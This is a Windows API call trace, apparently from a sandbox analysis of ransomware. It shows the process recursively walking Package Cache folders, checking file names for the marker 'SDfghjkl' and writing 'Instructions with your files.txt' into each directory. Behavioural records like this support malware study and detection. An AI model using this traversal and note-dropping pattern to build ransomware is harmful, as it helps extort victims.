[0132.037] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.037] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.037] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.037] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.037] CloseHandle (hObject=0x114) returned 1
[0132.037] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.037] GetProcessHeap () returned 0x810000
[0132.037] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.037] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.037] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.038] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.039] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.039] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.039] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.039] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.039] CloseHandle (hObject=0x110) returned 1
[0132.039] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.039] GetProcessHeap () returned 0x810000
[0132.039] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.039] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
[0132.039] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 87
[0132.039] GetProcessHeap () returned 0x810000
[0132.039] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.039] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned 89
[0132.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.041] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\.") returned 89
[0132.041] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.041] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\..") returned 90
[0132.041] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4624f20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.041] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.041] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.041] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0132.041] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned 96
[0132.041] GetProcessHeap () returned 0x810000
[0132.041] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.041] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned 98
[0132.041] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.042] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\.") returned 98
[0132.042] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.042] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\..") returned 99
[0132.042] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4624f20, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.042] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.042] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.042] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0132.042] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned 119
[0132.042] GetProcessHeap () returned 0x810000
[0132.042] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.042] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned 121
[0132.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.042] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\.") returned 121
[0132.042] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.042] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\..") returned 122
[0132.043] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0132.043] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 128
[0132.043] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0132.043] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45fedc0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.043] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 152
[0132.043] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.043] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0132.043] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 145
[0132.043] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0132.043] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0132.043] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 152
[0132.043] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.043] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.044] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.044] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.044] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.044] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.044] CloseHandle (hObject=0x118) returned 1
[0132.044] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.044] GetProcessHeap () returned 0x810000
[0132.044] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.044] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb45fedc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45fedc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0132.044] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Instructions with your files.txt") returned 129
[0132.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.045] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.045] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.046] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.046] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.046] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.046] CloseHandle (hObject=0x114) returned 1
[0132.046] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.046] GetProcessHeap () returned 0x810000
[0132.046] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.046] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4624f20, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4624f20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0132.046] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.046] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.047] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.047] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.047] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.047] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.048] CloseHandle (hObject=0x110) returned 1
[0132.048] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.048] GetProcessHeap () returned 0x810000
[0132.048] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
